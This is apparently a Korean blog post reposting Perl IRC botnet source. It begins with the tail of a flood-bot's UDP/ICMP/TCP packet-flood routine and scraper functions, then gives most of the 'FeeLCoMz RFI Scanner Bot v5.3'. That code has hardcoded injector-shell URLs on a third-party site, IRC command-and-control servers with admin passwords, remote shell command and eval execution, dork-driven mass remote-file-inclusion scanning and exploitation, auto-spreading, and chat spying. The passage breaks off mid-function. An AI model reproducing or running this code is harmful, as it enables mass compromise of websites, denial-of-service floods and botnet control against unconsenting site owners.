                my $cp = 0;
                my (%pacotes);
                $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
                socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
                socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
                socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
                socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
                return(undef) if $cp == 4;
                my $itime = time;
                my ($cur_time);
                while ( 1 ) {
                  for (my $porta = 1;
                  $porta <= 65000; $porta++) {
                    $cur_time = time - $itime;
                    last if $cur_time >= $ftime;
                    send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
                    send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
                    send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
                    send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;


                    for (my $pc = 3;
                    $pc <= 255;$pc++) {
                      next if $pc == 6;
                      $cur_time = time - $itime;
                      last if $cur_time >= $ftime;
                      socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
                      send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
                    }
                  }
                  last if $cur_time >= $ftime;
                }
                return($cur_time, %pacotes);
              }

              sub ctcp {
                return unless $#_ == 1;
                sendraw("PRIVMSG $_[0] :\001$_[1]\001");
              }

              sub msg {
                return unless $#_ == 1;
                sendraw("PRIVMSG $_[0] :$_[1]");
              }

              sub notice {
                return unless $#_ == 1;
                sendraw("NOTICE $_[0] :$_[1]");
              }

              sub op {
                return unless $#_ == 1;
                sendraw("MODE $_[0] +o $_[1]");
              }

              sub deop {
                return unless $#_ == 1;
                sendraw("MODE $_[0] -o $_[1]");
              }

              sub j {
                &join(@_);
              }

              sub join {
                return unless $#_ == 0;
                sendraw("JOIN $_[0]");

              }
              sub p { part(@_);
              }

              sub part {
                sendraw("PART $_[0]");
              }

              sub nick {
                return unless $#_ == 0;
                sendraw("NICK $_[0]");
              }

              sub quit {
                sendraw("QUIT :$_[0]");
              }

              sub fetch(){
              my $rnd=(int(rand(9999)));
              my $n= 80;
              if ($rnd<5000) { $n<<=1;}
                my $s= (int(rand(10)) * $n);
                {
                  my @dominios = ("removed-them-all");
                  my @str;
                  foreach $dom  (@dominios)
                  {
                    push (@str,"@gstring");
                  }
                  my $query="www.google.com/search?q=";
                  $query.=$str[(rand(scalar(@str)))];
                  $query.="&num=$n&start=$s";
                  my @lst=();
                  sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
                  my $page = http_query($query);
                  while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
                  if ($1 !~ m/google|cache|translate/){
                  push (@lst,$1);
                }
              }
              return (@lst);
            }

            sub os(){
            my $sito=$_[0];
            my $Res=query($sito);
            my $type;
            my $free;
            my $str;
            while($Res=~m/<br>OSTYPE:(.+?)\<br>/g){
            $type=$1;
          }
          while($Res=~m/<br>Free:(.+?)\<br>/g){
          $free=$1;
        }
        $str=$type.",".$free;
        return $str;
      }

      sub aol(){
      my @lst;
      my $key = $_[0];
      for($b=1;$b<=100;$b++){
      my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
      my $Res=query($AoL);
      while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
      my $k=$1;
      my @grep=links($k);
      push(@lst,@grep);
      }}
      return @lst;
    }

    sub google(){
    my @lst;
    my $key = $_[0];
    for($b=0;$b<=100;$b+=100){
    my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
    my $Res=query($Go);
    while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
    if ($1 !~ /google/){
    my $k=$1;
    my @grep=links($k);
    push(@lst,@grep);
    }}}
    return @lst;
  }

  sub altavista(){
  my @lst;
  my $key = $_[0];
  for($b=1;$b<=1000;$b+=10){
  my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  my $Res=query($AlT);
  while($Res=~m/<span class=ngrn>(.+?)\//g){
  if($1 !~ /altavista/){
  my $k=$1;
  $k=~s/<//g;
  $k=~s/ //g;
  my @grep=links($k);
  push(@lst,@grep);
  }}}
  return @lst;
}

sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
  my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  my $Res=query($Ask);
  while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  my $k=$3;
  $k=~s/[\"\ ]//g;
  my @grep=links($k);
  push(@lst,@grep);
  }}
  return @lst;
}

sub alltheweb()
{
  my @lst;
  my $key=$_[0];
  my $i=0;
  my $pg=0;
  for($i=0; $i<=1000; $i+=100)
  {
    my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
    my $Res=query($all);
    while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
    my $k=$1;
    $k=~s/ //g;
    my @grep=links($k);
    push(@lst,@grep);
    }}
    return @lst;
  }

  sub links()
  {
    my @l;
    my $link=$_[0];
    my $host=$_[0];
    my $hdir=$_[0];
    $hdir=~s/(.*)\/[^\/]*$/\1/;
    $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host.="/";
    $link.="/";
    $hdir.="/";
    $host=~s/\/\//\//g;
    $hdir=~s/\/\//\//g;
    $link=~s/\/\//\//g;
    push(@l,$link,$host,$hdir);
    return @l;
  }

  sub geths(){
  my $host=$_[0];
  $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  return $host;
}

sub key(){
my $chiave=$_[0];
$chiave =~ s/ /\+/g;
$chiave =~ s/:/\%3A/g;
$chiave =~ s/\//\%2F/g;
$chiave =~ s/&/\%26/g;
$chiave =~ s/\"/\%22/g;
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}  
return @unici;
}

sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
  alarm 10;
  my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  my @r = <$sock>;
  $page="@r";
  alarm 0;
  close($sock);
  };
  return $page;
}
}

########################################################################################################################
# ______   __              ___    _   __    ___          __   __                                                       #
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
#                                                                                                                      #
############################################################################

'webhxxx > RFI bot' 카테고리의 다른 글

RFI BotNet관련문서  (0) 2010.04.25
vulscan v8  (0) 2010.04.18
FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Posted by applicationlayer
:
머가바뀐거지히스토리도없구
밀웜옮긴지가언젠데아직도?정말최신버전이맞는건지?

#!/usr/bin/perl

print('
###############################################
## FeeLCoMz RFI Scanner Bot v5.3             ##
## By FaTaLisTiCz_Fx & jooMa                 ##
## ? Feb 2009 - Feb 2010, FeeLCoMz Community ##
## http://feelcomz.co.cc ( in working... )   ##
###############################################
');
######################################################
## Usage:                                           ##
##   perl feelscanz.pl <chan w/o #> <server> <port> ##
## Notes:                                           ##
## + All Parameters are optional                    ##
##                                                  ##
## Features:                                        ##
## + RFI Scanner                                    ##
## + RFI Scan & Exploit (Exploit per engine)        ##
## + Joomla RFI Scan & Exploit                      ##
## + Milw0rm Search                                 ##
## + Google bypass (Using PHP)                      ##
## + Message Spy & Save                             ##
## + Auto Spreading                                 ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thanks to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thanks to D|ablo)
## + Added spread configuration (v5.0)

use strict;

use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;

my $versi   = "v5.0";
my $cmdpre  = "."; #Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/id.txt?"; #Fx29ID (Simple) / (Advanced)
my $fx29id2 = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/id2.txt?"; #Fx29ID (Advanced)
my $fx29sh  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/404.txt?"; #Fx29Sh (Optional)
my $bypass  = "http://cornerbiz.bravehost.com/bypas.php?"; #Google Bypasserz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/"; #Path to Sources URL (Optional)
my $spread  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/spread.txt?"; #Fx29Spreadz (Optional)
my $joomlaz = ""; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.reserstyle.net","power.reserstyle.net"); #IRC Servers (Separated by coma)
my %bot     = (
 nick    => "DiAblo[".int(rand(100))."]",
 ident   => "Diablo".int(rand(100)),
 chan    => ["#diablocrew#"], #Channels to join (Separated by coma)
 server  => $servers[rand(scalar(@servers))],
 port    => "6667","6668","6669"
);

##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
 Diablo => {
   pass   => 'italia',
   status => "admin",
   cryptz => 0,
   login  => 0
 },
 Diablo2 => {
   pass   => 'italia',
   status => "admin",
   cryptz => 0,
   login  => 0
 },
);

##[ KONFIGURASI SPY ]##
my %­spy = (
 host   => "", #Channels to show spied text
 chanz  => [""], #Channels to spy (Separated by coma)
 wordz  => ['http://.+?[=]'], #Text to spy (Regex, Separated by coma)
 foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
 showsite => 1, #Show link to debug channel (Yes/No)
 linez    => 3, #Lines per message
 sleepz   => 3, #Message delay per linez (seconds)
 rfipid   => 50, #Sites per proccess
 rficnt   => 100, #Counter setting
 rficnt2  => 200, #Counter setting
 timeout  => 4, #Http socket time out
);

##[ KONFIGURASI SPREAD ]##
## Options: 0 = Disable, 1 = Enable
my %­spreadconf = (
 shellz   => 0, #Upload PHP Shell (Yes/No)
 botz     => 1, #Run PHP Bot (Yes/No)
 scannerz => 0, #Run RFI Scanner (Yes/No)
 psybnc   => 0, #Run psyBNC (Yes/No)
);

##[ KONFIGURASI WARNA ]##
my %colz = (
 1 => "8,1[4,1!8,1]11 " , 2 => " 8,1[4,1!8,1]", #Header
 3 => "8,1[4,1#8,1]9,1 " , 4 => " 8,1[4,1#8,1]9", #Proses
);

##[ PARAMETER BARIS PERINTAH ]##
$bot{chan}   = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port}   = $ARGV[2] if $ARGV[2];

##[ INISIALISASI VARIABEL ]##
my $chanx    = "#diablocrew#"; #2nd Channel to show the results of vurnerable site
my $dbgchan  = "#diablocrew2#"; #For debugging purposes (Optional)
my @chans    = ($bot{chan});
my @badbugz  = ("scan","bug"); #Bad bugs to cancel scanning
my @baddorkz = ("dork"); #Bad dorks to cancel scanning
my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com"); #Bad links to exclude
my $keluar   = 0;
my $sock;

##[ KONFIGURASI LOCALTESTING ]##
my $tez = $ARGV[3];
if ($tez == 1) {
 my $situs = "http://localhost/fx29sh/";
 $fx29id   = $situs."fx29id1.txt?";
 $fx29id2  = $situs."fx29id2.txt?";
 $fx29sh   = $situs."fx29sh.txt?";
}

##[ PROGRAM UTAMA ]##
if (fork() == 0) {
 while ($keluar != 1) { irc_connect(); }
 die("KeLuaR!");
}

##[ SUBRUTIN KONEKSI IRC ]##
sub irc_connect {
 $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
                               PeerPort => $bot{port},
                               Proto    => 'tcp')
                           or die "Error: Ga bisa connect ke ".$bot{server}.":".$bot{port}."!\r\n";
 $sock->autoflush(1);

 irc_nick($bot{nick});
 irc_user($bot{ident});

 my ($baris,$hb);
 my $loginboss = 0;
 my $userstat  = "";

 while ( $baris = <$sock> ) {
   $hb++;

   ##[ PARSING ]##
   my $com;
   my $me = $bot{nick};
   my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
   my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
   my ($dnick,$dhost) = split(/!/,$duhost);
   $dcom    = "" unless ($dcom);
   $dtarget = "" unless ($dtarget);
   $dnick =~ s/://;
   $dteks = trimrn($dteks);
   if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }

   print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";

   ##[ CEK USER ]##
   if   ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
   else { ($loginboss,$userstat) = (0,""); }

   ##[ RESPON KE SERVER ]##
   if    ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
   if    ($dcom =~ /001/) { irc_join($chanx); irc_join($dbgchan); foreach my $c (@chans) { irc_join($c); } }
   elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!");  } }

   ##[ PERINTAH PUBLIK ]##
   if    (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
   if    ($com =~ /^help$/) { bot_help($dtarget,1); }
   elsif ($com =~ /^info$/) { bot_info($dtarget); }
   elsif ($com =~ /^url(en|de)\s+(.*)/) {
     my $url = $2; my $en;
     if    ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
     elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
     msgi($dtarget,"URL $en", $url);
   }
   elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
   elsif ($com =~ /^respon/) { cek_respon($dtarget); }
   elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
   elsif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
     my $pass = $1; my $auth = $boss{$dnick}{"login"};
     if ( $pass && $auth == 0 ) {
       if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
       if ($pass eq $boss{$dnick}{"pass"}) {
         $boss{$dnick}{"login"} = 1;
         irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
       }
       else { irc_ntc($dnick,"Error!"); }
     }
     else {
       if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
       else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
   }
   if (($dtarget) && ($dtarget ne $dnick)) {
     if    (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit;  }
     elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
   }
   ##[ END OF PUBLIC ]##

   ##[ PERINTAH USER ]##
   if ($loginboss == 1) {
     if    ($com =~ /^help/) { bot_help($dtarget,2); }
     elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
     elsif ($com =~ /^part\s+(.*)/) {
       my $pchan = $1; irc_part($1);
       for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
     }
     elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
     elsif ($com =~ /^hitung\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
     elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
     elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
     elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
     elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
     elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
     elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
       my ($t,$nf,$q) = ($1,$2,$3);
       my $h;
       if ($t == 1) { $h = bukasitus($q); }
       elsif ($t == 2) { $h = bukasitus2($q); }
       else { $h = bukasitus3($q); }
       f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
     }
     elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
       my $n = $1;
       my $q = bukasitus($2);
       my $regex = $3;
       if ($n ==1) {
         if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
         while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
       }
       else {
         while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
       }
     }
   }
   ##[ END OF USER ]##

   ##[ PERINTAH ADMIN ]##
   if (($loginboss == 1) && ($userstat eq "admin")) {
     if    ($com =~ /^help/) { bot_help($dtarget,3); }
     elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans);  }
     ##[ PERINTAH SPY ]##
     elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
     elsif ($com =~ /^spy(found|show|clear)$/ ) {
       my $n = $1;
       if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
       elsif ($n eq "show") {
         my $i = 0;
         for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
         $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
       }
       elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
       else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
     }
     elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
     elsif ($com =~ /^spychan\s+(.*)/ ) {
       unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
       else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
     }
     elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
     ##[ END OF PERINTAH SPY ]##
     elsif ($com =~ /^quit/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
     elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; }
     elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
     elsif ($com =~ /^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
     elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
     elsif ($com =~ /^crespon(1|2)\s+(.*)/) {
       my ($n,$url) = ($1,$2);
       if    ($n == 1) { $fx29id = $url; }
       elsif ($n == 2) { $fx29id2 = $url; }
       msgi($dtarget,"Respon $n RFI",$url);
     }
     elsif ($com =~ /^cspread\s+(.*)/) {
       my $url = $1;
       $spread = $url;
       msgi($dtarget,"Spread RFI",$spread);
     }
     elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
       $boss{$1}{pass}   = "fx";
       $boss{$1}{status} = $2;
       $boss{$1}{login}  = 0;
       $boss{$1}{cryptz} = 0;
       ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
       msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
     }
     elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
     elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
       my $cmd = $1;
       if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
       my @output = `$cmd`;
       my $i = 0;
       foreach my $out (@output) {
         $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
         irc_msg($dtarget,"$out");
       }
       exit;
     }
   }
   ## END OF ADMIN ##

   ##[ MATA-MATA ]##
   if ($dtarget ne $spy{"host"}) {
     my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
     if ($is_spychan == 1) {
        for my $t (@{$spy{"wordz"}}) {
          if ($dteks =~ /$t/) {
            msgi($spy{"host"},"!",$dteks); sleep(1);
            push @{ $spy{"foundz"} }, $dteks;
          }
        }
      }
   }
   ##[ END OF MATA-MATA ]##
 }
 ## END WHILE ##
}
## END KONEK ##

#########################
##[ RUTIN EKSPLOITASI ]##
#########################
sub s_scanz {
 my ($to,$bug,$dork,$sb,$type) = @_;
 $sb = "Fx".$sb.".txt";
 $dork = bersihdork($to,$dork);
 my %­typez = (
   1 => "RFI ScaNneR",
   2 => "RFI ScaN & ExpLoiT",
   3 => "JooMLa MaSs ScaN & ExpLoiT"
 );
 my $badbug  = cek_bug($bug);
 if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
 my $baddork = cek_dork($dork);
 if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
 if ($type == 3) {
   my $h = bugjoomla("hitung");
   if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
 }
 irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2});
 my $stat = cek_respon($to);
 if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; }
 irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai!0 ".$conf{rfipid}."/PID 9ID:0 $sb".$colz{2});
 irc_msg($to,$colz{1}."BuGz:0 $bug ") if ($type != 3);
 irc_msg($to,$colz{1}."DoRkz:0 $dork ");
 s_cari($to,$dork,$sb,$bug,$type);
 s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
 irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai!0 $dork 9ID:0 $sb".$colz{2});
 return;
}

sub s_eksploit {
 #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
 #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
 my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
 my @prosesbaru;
 my @semuatarget;
 my $hitung;
 my $num = 0;
 my @bugjoomla = bugjoomla($chan) if ($type == 3);
 unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","Ga BiSa BuKa $tf!"); return; }
 while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
 close(FILEZ);
 f_hapus($tf);
 my @kotor = lnk_sortir(@semuatarget);
 my @target = lnk_filter(@kotor);
 if (!$engine) {
   irc_msg($chan,$colz{1}."HaSiL PeNCaRiaN0 $dork".$colz{2});
   irc_msg($chan,$colz{1}."ToTaL:0 ".scalar(@semuatarget)." 9KoToR:0 ".scalar(@kotor)." 9BeRsih:0 ".scalar(@target)." 9ID:0 $tf".$colz{2}." ".$colz{1}."ExpLoiTaSi DiMuLai!".$colz{2});
 }
 foreach my $situs (@target) {
   $hitung++;
   if ($hitung % $conf{rfipid} == 0) {
     foreach my $f (@prosesbaru) { waitpid($f,0); }
     $num = 0;
   }
   if ($type == 1 && $hitung % $conf{rficnt} == 0) {
     irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
     irc_msg($chan,$colz{3}.$hitung."3 ".scalar(@target).$colz{4});
   }
   if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
     irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
     irc_msg($chan,"9,1 $engine15 ".$hitung."14 ". scalar(@target). " ");
   }
   $prosesbaru[$num] = fork();
   if ($prosesbaru[$num] == 0) {
     if ($type != 3) {
       my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
       if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
     }
     else {
       foreach my $bug (@bugjoomla) {
         my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
         if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
       }
     }
     exit(0);
   }
   $num++;
 }
 irc_msg($chan,$colz{1}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes EksPLoiTasi..".$colz{2}) if (!$engine);
 foreach my $f (@prosesbaru) { waitpid($f,0); }
 irc_msg($chan,"9,1 $engine 0FiNizZ! ") if ($engine);
}
###########################
##[ RUTIN SEARCH ENGINE ]##
###########################################################################
## GOOGLE  : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple ##
## YAHOO   : AltaVista, AlltheWeb, GoodSearch, *Rectifi                  ##
## LIVE    : *A9.com, *Ms.Dewey, *Tafiti                                 ##
## ASK     : *iWon, Lycos                                                ##
## LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma,    ##
##           Virgilio, Webcrawler, Webde                                 ##
## * Not implemented yet
###########################################################################
sub s_cari {
 #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
 my ($chan,$dork,$nf,$bug,$type) = @_;
 my @engz;
 my $key = $dork;
 $dork = urlen($key);
 $engz[0]  = fork(); if ($engz[0]  == 0) { s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[1]  = fork(); if ($engz[1]  == 0) { s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[2]  = fork(); if ($engz[2]  == 0) { s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[3]  = fork(); if ($engz[3]  == 0) { s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[4]  = fork(); if ($engz[4]  == 0) { s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[5]  = fork(); if ($engz[5]  == 0) { s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[6]  = fork(); if ($engz[6]  == 0) { s_engine("alltheweb","AllTheWeb",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[7]  = fork(); if ($engz[7]  == 0) { s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[10] = fork(); if ($engz[10] == 0) { s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[11] = fork(); if ($engz[11] == 0) { s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[12] = fork(); if ($engz[12] == 0) { s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[13] = fork(); if ($engz[13] == 0) { s_engine("webde","Web.de",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[14] = fork(); if ($engz[14] == 0) { s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[15] = fork(); if ($engz[15] == 0) { s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[16] = fork(); if ($engz[16] == 0) { s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
